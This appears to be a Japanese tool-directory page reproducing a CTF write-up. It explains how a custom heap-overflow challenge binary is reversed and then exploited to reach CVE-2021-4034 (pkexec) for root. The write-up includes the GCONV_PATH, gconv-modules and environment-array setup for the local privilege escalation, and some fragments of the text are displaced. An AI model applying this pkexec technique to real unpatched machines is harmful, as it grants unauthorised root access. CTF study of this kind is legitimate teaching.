Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-4034-CTF-writeup — CTF pwnチャレンジの書き起こしで、CVE-2021-4034 (pkexec) をヒープ操作で悪用し、Ghidraベースのリバースエンジニアリングとカスタムのshelly.soヘルパーバイナリを使用しています。 | Kitploit
ツール/GitHubGitHub/wechicken456/cve-2021-4034-ctf-writeup
エクスプロイトリバースエンジニアリングCTF学習と教育バイナリエクスプロイトラボと実践
GitHubwechicken456/cve-2021-4034-ctf-writeup

CVE-2021-4034-CTF-writeup

CTF pwnチャレンジの書き起こしで、CVE-2021-4034 (pkexec) をヒープ操作で悪用し、Ghidraベースのリバースエンジニアリングとカスタムのshelly.soヘルパーバイナリを使用しています。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
22年前未レビュー

CVE-2021-4034-CTF-writeup

これは、私がCで書いたCTFのpwnチャレンジであり、ユーザーがCVE-2021-4034の脆弱性を悪用する必要があります。プレイヤーには、このリポジトリのchallengeディレクトリにある2つのバイナリが与えられます。chalバイナリはCTFチャレンジを実装し、shelly.soは補助バイナリです。

このチャレンジのエミュレート方法

このwriteupを作成した時点では、Dockerfileはまだ完成していません。ライブCTF中にこのチャレンジをデプロイするにはDockerfileが必要ですが、ローカルでは不要です。以下のようにユーザー権限を設定し、脆弱なパッケージをインストールすることで、ローカルでこのチャレンジをエミュレートできます。

  1. この脆弱性を正常に悪用するには、Linuxマシンを使用していないプレイヤーはまずLinux VMをインストールする必要があります。次に、脆弱なカーネルをインストールする必要があります。その方法についてはこちら: [https://askubuntu.com/a/700221]
  2. パッケージ libpolkit-gobject-1-0=0.105-26ubuntu1 libpolkit-agent-1-0=0.105-26ubuntu1 policykit-1=0.105-26ubuntu1 をインストールします。
  3. カレントディレクトリに root:root が所有する flag.txt ファイルを作成します。
  4. 権限のないユーザーを作成します。このユーザーに切り替えます。
  5. challenge フォルダ内のファイルをカレントディレクトリにダウンロードします。
  6. chal を権限のないユーザーとして実行します。

ブラインド分析

chal バイナリを実行すると、このバイナリが何をするのかが漠然とわかります。``` WELCOME TO THE HUB CTRL+ALT+DELICIOUS We're not just a sandwich hub. We are the beacon of flavors, serving a symphony in every byte

  1. ENTER THE HUB
  2. QUIT 1 Order number: 0x7ffde93681f0 Enter your name: tin
  3. ADD NEW ORDER
  4. EDIT ORDER
  5. SHOW ORDER
  6. CANCEL ORDER
  7. CHECKOUT
  8. DONE 1 Pick your bread: aaaa Select your spread: bbbb Choose your veg: cccc Slam your meat & egg: dddc Any side notes for the cook? 0000
  9. ADD NEW ORDER
  10. EDIT ORDER
  11. SHOW ORDER
  12. CANCEL ORDER
  13. CHECKOUT
  14. DONE 1 Pick your bread: AAAA Select your spread: BBBB Choose your veg: CCCC Slam your meat & egg: DDDD Any side notes for the cook? 1111
  15. ADD NEW ORDER
  16. EDIT ORDER
  17. SHOW ORDER
  18. CANCEL ORDER
  19. CHECKOUT
  20. DONE 3 Enter order index: 0 aaaa, bbbb, cccc, dddc, 0000
  21. ADD NEW ORDER
  22. EDIT ORDER
  23. SHOW ORDER
  24. CANCEL ORDER
  25. CHECKOUT
  26. DONE 3 Enter order index: 1 AAAA, BBBB, CCCC, DDDD, 1111
  27. ADD NEW ORDER
  28. EDIT ORDER
  29. SHOW ORDER
  30. CANCEL ORDER
  31. CHECKOUT
  32. DONE 4 Enter order index: 1
  33. ADD NEW ORDER
  34. EDIT ORDER
  35. SHOW ORDER
  36. CANCEL ORDER
  37. CHECKOUT
  38. DONE 3 Enter order index: 1 Invalid index!
  39. ADD NEW ORDER
  40. EDIT ORDER
  41. SHOW ORDER
  42. CANCEL ORDER
  43. CHECKOUT
  44. DONE 5 /notes ./tin/notes
  45. ADD NEW ORDER
  46. EDIT ORDER
  47. SHOW ORDER
  48. CANCEL ORDER
  49. CHECKOUT
  50. DONE 6
  51. ENTER THE HUB
  52. QUIT 2 Come again :)
root@kitploit:~
`Add` 関数の入力サイズや `Cancel` 関数のインデックスをいろいろ試しても、特別なことは何も起きません(オーバーフローもセグメンテーションフォールトも発生しません)。ただし、いくつか興味深い点があります:
  - 注文はリスト(おそらく連結リスト)に格納されているように見え、0から始まるインデックスが付いている?
  - `Order number: 0x7ffde93681f0` という出力があり、これはスタック上のどこかのアドレスを表示しているように見える?
  - また、プログラムは入力された名前のディレクトリを作成し、その中に3つの実行ファイルを生成します。そのうちの1つが、私たちに与えられたヘルパーバイナリファイルです:```sh
peasant@Tin-VM:~/Desktop$ ls
chal  chal.c  Dockerfile shelly.so  solve.py  tin
peasant@Tin-VM:~/Desktop$ ls -l tin/
total 28
-rwxrwx--- 1 peasant vboxsf     5 Feb  4 14:33 notes
-rwxrwx--- 1 peasant vboxsf    20 Feb  4 14:33 recipe
-rwxr-x--- 1 peasant vboxsf 16488 Feb  4 14:33 shelly.so
peasant@Tin-VM:~/Desktop$ cat tin/notes 
0000
peasant@Tin-VM:~/Desktop$ cat tin/recipe 
aaaa
bbbb
cccc
dddc

実行可能ファイルには入力が含まれています。


Ghidra解析

他の関数をいじってバグに遭遇することを期待することもできますが(可能性は高いですが)、本題に入り、Ghidraでプログラムを開きます。

プログラムの実行中に表示される文字列とGhidraに存在する文字列を比較することで、一部のFUN_*関数を馴染みのある名前に変更できます:```C undefined8 main(void)

{ int iVar1; size_t sVar2; undefined2 *puVar3; long in_FS_OFFSET; int opt; int local_1c; char *local_18; long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28); local_18 = "/recipe"; print("WELCOME TO THE HUB CTRL+ALT+DELICIOUS\n"); print( "We're not just a sandwich hub. We are the beacon of flavors, serving a symphony in every by te\n\n" ); while( true ) { print("1. ENTER THE HUB\n"); print("2. QUIT\n"); __isoc99_scanf(&DAT_001030c5,&opt); getc(stdin); if (opt != 1) break; printf("Order number: %p\n",&local_18); print("Enter your name: "); __isoc99_scanf(&DAT_0010334f,&DAT_00105120); sVar2 = strlen(&DAT_00105120); puVar3 = (undefined2 *)malloc(sVar2 + 2); DAT_00105100 = puVar3; *puVar3 = 0x2f2e; *(undefined *)(puVar3 + 1) = 0; strcpy((char *)(DAT_00105100 + 1),&DAT_00105120); iVar1 = FUN_001022f0(DAT_00105100,&DAT_00105060); if (iVar1 == -1) { mkdir((char *)DAT_00105100,0x1c0); } DAT_00105140 = 0; order_cnt = 0; for (local_1c = 0; local_1c < 10; local_1c = local_1c + 1) { *(undefined8 *)(&ptr_array + (long)local_1c * 8) = 0; } main_menu(); } print("Come again :)\n");

root@kitploit:~
`printf("Order number: %p\n",&local_18);` **はスタック上のローカル変数の位置を出力します。**

gdbでの簡単な確認により、漏洩したアドレスが定数文字列 `/recipe` へのポインタのアドレスであることがわかります。```gdb
...
Order number: 0x7fffffffdfc0
...
gef➤  x/gx 0x7fffffffdfc0
0x7fffffffdfc0:	0x0000555555559020
gef➤  x/s 0x0000555555559020
0x555555559020:	"/recipe"

mkdir の呼び出しが見られます。これは、現在のディレクトリに入力した名前のディレクトリを作成します。

これらはプログラムを実行したときの観測と一致しています。次に、いくつかの変数を初期化してから main_menu 関数を呼び出しています。これは次のようになります:```C while( true ) { while( true ) { while( true ) { while( true ) { while( true ) { while( true ) { print("1. ADD NEW ORDER\n"); print("2. EDIT ORDER\n"); print("3. SHOW ORDER\n"); print("4. CANCEL ORDER\n"); print("5. CHECKOUT\n"); print("6. DONE\n"); __isoc99_scanf(&DAT_001030c5,&local_40); getc(stdin); if (local_40 != 1) break; add_order(); } if (local_40 != 2) break; edit_order(); } if (local_40 != 3) break; show_order(); } if (local_40 != 4) break; cancel_order(); } if (local_40 != 5) break; checkout(); } if (local_40 == 6) break; if (local_40 == 0x539) { print( "\nGORDON RAMSAY: Finally, a worthy opponent, our battle will be legendary! I BET YOU CAN 'T GUESS THE SECRET RECIPE.\n" ); fgets(inp,0x20,stdin); getrandom(random-bytes,0x10,0); for (local_3c = 0; local_3c < 0x10; local_3c = local_3c + 1) { if (inp[local_3c] != random-bytes[local_3c]) { print("...Nuh Uh!...\n"); /* WARNING: Subroutine does not return */ exit(0); } print("...Ooh Yes.. sCruMpTioUs..."); } print("Fine... I'll give you a taste.\n"); FUN_00101504(); }

root@kitploit:~
REVに詳しくない場合、これはC言語の`switch`文の逆コンパイル結果です。興味深いオプションとして `0x539` があります。これによりプレイヤーは `0x10` のランダムなバイトを推測できます。すべてのバイトが一致すると、`FUN_00101504();` が呼び出され、`system("cat flag.txt");` が実行されます。それ以外の場合はプログラムは終了します。

しかし、16個のランダムなバイトをブルートフォースするには、すべての 256^16 = 340282366920938463463374607431768211456 通りの可能性を試す必要があります。これを突破するのはお疲れ様です(笑)。

たとえすべての可能性を突破したとしても、プログラムには権限がないため、フラグを読み取ることはできません。この `cat flag.txt` 文は意図的なもので、経験の浅いプレイヤーをこの `0x539` メニューオプションに誘導して惑わすだけでなく、プレイヤーが単純にこの関数を呼び出してフラグを読み取ることを防ぐためでもあり、これについては後で詳しく説明します。
***
## Add```C
  int iVar1;
  undefined8 *puVar2;
  void *pvVar3;
  undefined8 *ptr2;
  
  if (order_cnt < 10) {
    puVar2 = (undefined8 *)malloc(0x30);
    print("Pick your bread: ");
    readline(puVar2 + 1,8);
    print("Select your spread: ");
    readline(puVar2 + 2,8);
    print("Choose your veg: ");
    readline(puVar2 + 3,8);
    print("Slam your meat & egg: ");
    readline(puVar2 + 4,9);
    iVar1 = order_cnt;
    pvVar3 = malloc(0x30);
    *(void **)(&ptr_array + (long)iVar1 * 8) = pvVar3;
    *puVar2 = *(undefined8 *)(&ptr_array + (long)order_cnt * 8);
    print("Any side notes for the cook? ");
    readline(*puVar2,0x30);
    puVar2[5] = 0;
    if (DAT_00105140 != (undefined8 *)0x0) {
      for (ptr2 = DAT_00105140; ptr2[5] != 0; ptr2 = (undefined8 *)ptr2[5]) {
      }
      ptr2[5] = puVar2;
      puVar2 = DAT_00105140;
    }
    DAT_00105140 = puVar2;
    order_cnt = order_cnt + 1;
  }
...

変数の一部がこのように読みやすく見えない場合、それは私がそれらをこれらの名前に変更するのに時間をかけたためです。リバースエンジニアリング中に追跡しやすくするために、あなたもそうすべきです。さて、主要なポイントに移りましょう:

  • puVar2 は 0x30 の大きさの malloc チャンクです。
  • 0番目のフィールドは puVar3 ポインタで、8バイト長で、現在のチャンクの notes を指します。
  • 次の4つのフィールドはそれぞれ8バイト長ですが、4番目のフィールドに9バイト読み込めるため、5番目のフィールドに1バイトオーバーフローできます。
  • ただし、puVar2[5] = 0; という行によって、1バイトのオーバーフローは結局NULLで上書きされます。
  • そして、グローバル変数 DAT_00105140 == 0 の場合、新しいチャンクを設定するだけなので、これはリストの head ポインタでしょうか?
  • それ以外の場合は、現在のリストの最後のチャンクまでループし、その5番目のフィールドを新しいチャンクに設定します。=> 5番目のフィールドは、リンクリスト内の次のチャンクへのポインタです。

編集```C

... print("Enter order index: "); __isoc99_scanf(&DAT_001030c5,&local_20); getc(stdin); if ((local_20 < 0) || (order_cnt <= local_20)) { print("Invalid index!\n"); } else { local_18 = head; for (local_1c = 0; local_1c != local_20; local_1c = local_1c + 1) { local_18 = (undefined8 *)local_18[5]; } print("Pick your bread: "); readline(local_18 + 1,8); print("Select your spread: "); readline(local_18 + 2,8); print("Choose your veg: "); readline(local_18 + 3,8);WE print("Slam your meat & egg: "); readline(local_18 + 4,9); print("Any side notes for the cook? "); readline(*local_18,0x30); } ...

root@kitploit:~
入力インデックスのチェックがあるため、任意の場所を編集することはできません。

**ただし、4番目のフィールドの9バイト読み取りが5番目のフィールドに1バイトオーバーフローする問題は依然として存在します!!! `nxt` ポインタに1バイト上書きできます。**
***
## 表示```C
...
    if (local_18 != (undefined8 *)0x0) {
      printf("%s, %s, %s, %s, %s\n",local_18 + 1,local_18 + 2,local_18 + 3,local_18 + 4,*local_18);
    }
...

%s は NULL 文字まで出力されるため、もし 4 番目のフィールドが 8 バイト長である場合、4 番目の %s によってチャンクの 4 番目のフィールドに加えて、5 番目のフィールドの nxt ポインタ値が出力されます。 => ** ヒープ リークを取得!!!***


キャンセル

ここには特に興味深いものはありません。


チェックアウト

カートを作成し、それをチェックアウトしてフラグを取得するという概念のみです。```C strcpy(local_d8,dir_name); sVar2 = strlen(dir_name); strcpy(local_d8 + sVar2,"/recipe"); creat(local_d8,0x1c0); iVar1 = open(local_d8,2); if (iVar1 == -1) { print("Error opening file f.\n"); /* WARNING: Subroutine does not return / exit(0); } chmod(local_d8,0x1f8); strcpy(local_98,dir_name); sVar2 = strlen(dir_name); strcpy(local_98 + sVar2,"/notes"); printf("%s %s\n","/notes",local_98); creat(local_98,0x1c0); __fd = open(local_98,2); if (__fd == -1) { print("Error opening file f_notes.\n"); / WARNING: Subroutine does not return */ exit(0); } chmod(local_98,0x1f8);

root@kitploit:~
したがって、入力名のディレクトリにファイル `recipe` と `notes` を作成します。`chmod` ステートメントはこれらのファイルを実行可能モードに設定します: `0x1f8` と `0x1c0` はそれぞれ8進数で `0700` と `0770` です。```C
...
  for (local_ec = 0; (local_e0 != (char **)0x0 && (local_ec < order_cnt)); local_ec = local_ec + 1)
  {
    sVar2 = strlen((char *)(local_e0 + 1));
    write(iVar1,local_e0 + 1,sVar2);
    write(iVar1,&DAT_00103127,1);
    sVar2 = strlen((char *)(local_e0 + 2));
    write(iVar1,local_e0 + 2,sVar2);
    write(iVar1,&DAT_00103127,1);
    sVar2 = strlen((char *)(local_e0 + 3));
    write(iVar1,local_e0 + 3,sVar2);
    write(iVar1,&DAT_00103127,1);
    sVar2 = strlen((char *)(local_e0 + 1));
    write(iVar1,local_e0 + 4,sVar2);
    write(iVar1,&DAT_00103127,1);
    sVar2 = strlen(*local_e0);
    write(__fd,*local_e0,sVar2);
    write(__fd,&DAT_00103127,1);
    local_e0 = (char **)local_e0[5];
  }
  iVar1 = close(iVar1);
  if (-1 < iVar1) {
    iVar1 = close(__fd);
    if (-1 < iVar1) {
      local_58 = 0x2f706d742f207063;
      local_50 = 0x732e796c6c656873;
      local_48 = 0x206f;
      local_40 = 0;
      local_38 = 0;
      local_30 = 0;
      local_28 = 0;
      local_20 = 0;
      strcpy((char *)((long)&local_48 + 2),dir_name);
      system((char *)&local_58);
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    }
  }
...

この巨大で乱雑なコードブロックは基本的に、チャンク内のコンテンツをこれらのファイルに書き込み、その後 cp /tmp/shelly.so dir_name というコマンドを実行します。ここで dir_name はプログラムの開始時に指定する名前です。


FUN_00101e84```C

void FUN_00101e84(void)

{ long in_FS_OFFSET; char *local_18; long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("HOLD UP, LET HIM COOK."); local_18 = (char *)0x0; execve("/usr/bin/pkexec",&local_18,(char **)&ptr_array); if (local_10 != *(long )(in_FS_OFFSET + 0x28)) { / WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }

root@kitploit:~
これは興味深い関数です。`NULL argv` と環境変数としての `notes` 配列ポインタを指定して `pkexec` を呼び出しており、これが CVE-2021-4034 の脆弱性を持つコマンドです。これは、何らかの方法で `notes` を細工し、実行をこの関数にリダイレクトする必要があることを示唆していますか?

***
## shelly.so
これを Ghidra で開くと、明らかに `set-UID-root` ライブラリであり、CVE エクスプロイトで使用されたものと類似していることがわかります。

***
# 概要
主なポイント:
1. プログラムの先頭でスタックリークがあります(注文番号)。これは、ファイル `recipe` の作成に使用される定数文字列 `/recipe` のアドレスを保持しています。
2. チャンクの0番目のフィールドは `notes` ポインタです。
3. チャンクの5番目のフィールドは、リンクリスト内の次のチャンクへの `nxt` ポインタです。
4. `Show` は、チャンクの5番目のフィールドであるヒープアドレスを漏洩できます。
5. `Edit` は5番目のフィールドに1バイトを上書きできます。**これが唯一の任意書き込みバグです!!**
6. `FUN_00101e84` は、NULL argv と我々が制御する環境変数(`notes` 配列)を指定して `pkexec` を呼び出します。
***

# エクスプロイト

## ヒープチャンクのレイアウト
gdb で簡単に調べると、プログラム内の異なるチャンク間のオフセットがわかります:```gdb
...
Pick your bread: aaaa
Select your spread: a
Choose your veg: a
Slam your meat & egg: a
Any side notes for the cook? 0000
1. ADD NEW ORDER
2. EDIT ORDER
3. SHOW ORDER
4. CANCEL ORDER
5. CHECKOUT
6. DONE
1
Pick your bread: bbbb
Select your spread: b
Choose your veg: b
Slam your meat & egg: b
Any side notes for the cook? 1111
...
gef➤  search-pattern aaaa
[+] Searching 'aaaa' in memory
[+] In '[heap]'(0x55555555a000-0x55555557b000), permission=rw-
  0x55555555aae8 - 0x55555555aaec  →   "aaaa" 
gef➤  x/30gx 0x55555555aae8-0x18
0x55555555aad0:	0x0000000000000000	0x0000000000000041
0x55555555aae0:	0x000055555555ab20	0x0000000061616161
0x55555555aaf0:	0x0000000000000061	0x0000000000000061
0x55555555ab00:	0x0000000000000061	0x000055555555ab60
0x55555555ab10:	0x0000000000000000	0x0000000000000041
0x55555555ab20:	0x0000000030303030	0x0000000000000000
0x55555555ab30:	0x0000000000000000	0x0000000000000000
0x55555555ab40:	0x0000000000000000	0x0000000000000000
0x55555555ab50:	0x0000000000000000	0x0000000000000041
0x55555555ab60:	0x000055555555aba0	0x0000000062626262
0x55555555ab70:	0x0000000000000062	0x0000000000000062
0x55555555ab80:	0x0000000000000062	0x0000000000000000
0x55555555ab90:	0x0000000000000000	0x0000000000000041
0x55555555aba0:	0x0000000031313131	0x0000000000000000
0x55555555abb0:	0x0000000000000000	0x0000000000000000

したがって、チャンクのサイズは 0x40(0x10 バイトのメタデータを含む)で、現在のチャンクの先頭から次のチャンクの先頭までのオフセットは 0x40+0x40 = 0x80 です。これは、notes がチャンクを割り当てるたびに割り当てられるため、連続するチャンクの間に常に配置されるからです。

任意の場所への書き込み

エクスプロイトに進む前に、1 バイトのオーバーフローバグを悪用して任意のアドレスに書き込む方法を説明します。以下の戦略を使用できます。

  1. 3 つのチャンク A、B、C を割り当てます。
  2. 2 番目のチャンク(まとめセクションの 2 番目のポイント)の nxt ポインタを漏洩します。
    • 漏洩したアドレス(次のチャンク)は C です。
    • したがって、現在のチャンクのアドレスは B = C-0x80 になります。
    • B の最下位バイトを x とします。
  3. 現在のチャンクの 5 番目のフィールドに 1 バイト x + 8 をオーバーフローさせます。結果の nxt ポインタは B + 8 になります。
    • 注意が必要です。上記のメモリのスニペットを使用して、現在のチャンクを最初のもの、つまり A = 0x55555555aae0 とすると、漏洩したアドレスは B = 0x55555555ab60 になり、x = 0xe8 となります。
    • A の 5 番目のフィールド(0x55555555ab08)の最後のバイトを x で上書きすると、結果の ポインタは となり、これは望む とは異なります。

方法 1 - "cat flag.txt" へのジャンプ

この関数にジャンプする方法があります(詳細は説明しません)。ただし、これを試す前に Dockerfile を確認してください。flag.txt について何か気づきましたか?``` ... chown root:root /home/ctf/flag.txt ... USER peasant CMD ["/home/ctf/start.sh"]

root@kitploit:~
***これはルートが所有しており、プログラムは非特権ユーザーによって実行され所有されています。***
したがって、`cat flag.txt` を実行しても、プログラムがファイルにアクセスする権限がないため、フラグは表示されません。つまり、フラグを読むためにはルートに昇格する必要があります。
## 2つ目の方法 - CVE-2021-4034
CVE-2021-4034 を悪用するには、以下の設定が必要です。
1. 名前 `GCONV_PATH=.` のディレクトリ
2. このディレクトリ内に、`gconv-modules` 設定ファイルが置かれるディレクトリの名前である実行可能ファイルが必要です。このチャレンジではこれを `recipe` とします。
3. `recipe` ディレクトリ内に、内容を制御できる `gconv-modules` という名前のファイルと、シェルを起動する動的ライブラリ(おそらく与えられたバイナリ `shelly.so` でしょうか?)が必要です。
4. 次に、`gconv-modules` 内に以下のステップ5と同じ CHARSET と、動的ライブラリ `shelly.so` の名前を次のように記述する必要があります:`module UTF-8// SHELLY// shelly 2`。
5. これらすべてを行った後、NULL argv と細工された環境変数配列 `{"recipe", "PATH=GCONV_PATH=.", "CHARSET=SHELLY", "SHELL=shelly", NULL}` で `pkexec` を呼び出します。

さて、上記の設定を得るためにこのチャレンジを悪用します。

***
### 目標 1-2
ステップ1-2は簡単です:ユーザー名 `GCONV_PATH=.` でログインしてこのディレクトリを作成するだけです。その後、`checkout` を実行してこのディレクトリ内に実行可能ファイル `recipe` を作成します。その後、最初のメニューに戻ります。
***
### 目標 3-4
ユーザー名 `recipe` でログインしてこのディレクトリを作成します。ここで、`gconv-modules` という名前のファイルを作成する*必要*がありますが、`checkout` は `recipe` と `notes` のファイルしか作成しません。

もし文字列 `/notes` のメモリ位置を上書きして `/gconv-modules` にしたらどうでしょうか?これはうまくいくかもしれませんが、そのメモリが書き込み可能である必要があります。gdb で確認してみましょう:```gdb
gef➤  search-pattern /notes
[+] Searching '/notes' in memory
[+] In '/home/peasant/Desktop/chal'(0x555555559000-0x55555555a000), permission=rw-
  0x555555559010 - 0x555555559016  →   "/notes" 

そしてそれは書き込み可能です!

書き込みはどのように行うのでしょうか?

  1. 上記で説明した任意書き込み戦略を使用して、リークしたスタックアドレスの場所を任意に読み取ります。これにより、/recipeの場所がわかります。
  2. gdbで簡単に調査すると、/recipeから/notesへのオフセットが0x10であることがわかります。ステップ1で得た/recipeのアドレスからこれを減算して、/notesのアドレスを取得します。
  3. 上記の任意書き込み戦略を使用して、/notesを/gconv-modulesに上書きします。

gconv-modulesファイルに正しい内容を書き込むことについては、checkout時にチャンクのnotes内容が/notes(現在は/gconv-modules)に書き込まれることがわかっています。確実にするために、すべてのnotesに文字列module UTF-8// SHELLY// shelly 2を提供すればよいです。

したがって、checkoutを呼び出すたびに、recipeとgconv-modulesの2つのファイルが作成され、gconv-modulesファイルにはmodule UTF-8// SHELLY// shelly 2(shellyはset-uid-rootライブラリとして与えられた.soの名前であるため使用)の行がいくつか書き込まれます。また、同じディレクトリにshelly.soがコピーされます。

Goal 5

  1. notesが対応する環境変数である4つのチャンクを割り当てます。notesポインタ配列には、これら4つのnotesへの4つのポインタと、末尾のNULLポインタが含まれ、これがまさに必要なものです。
  2. 追加のチャンクを割り当て、Goal 3-4で使用したのと同じ戦略を使用して、main関数のRIPを秘密の関数FUN_00101e84に上書きします。
    • RIPの場所をどうやって知るのでしょうか?プログラム開始時にリークしたスタックアドレスを覚えていますか?gdbに入ってそのアドレスからRIPへのオフセットを調べ、そのオフセットを実際のリークアドレスに加算してRIPを取得します。
    • mainの場所をどうやって知るのでしょうか?Goal 3-4のステップ2でリークした/recipeのアドレスを覚えていますか?ここでも同じことを行います!
  3. シェルをお楽しみください :)

コメント付きの解答スクリプトはこのリポジトリにあります。 ご質問があればお気軽にご連絡ください :)

ツールをダウンロード
nxt
0x55555555**ab**e8
0x55555555**aa**e8
  • したがって、現在のチャンクと次のチャンクの下位 2 バイト目が同じになるように選択する必要があります。
  • これで、3 番目のチャンクが C ではなく B + 8 に配置されました。チャンク B を編集して、その 1 番目のフィールド(bread)に書き込み先の target アドレスを設定します。
  • 3 番目のチャンクを編集すると、B + 8 から始まる内容が上書きされます。この 3 番目のチャンクの notes ポインタは target になります! したがって、notes に書き込んだものはすべて target に書き込まれます!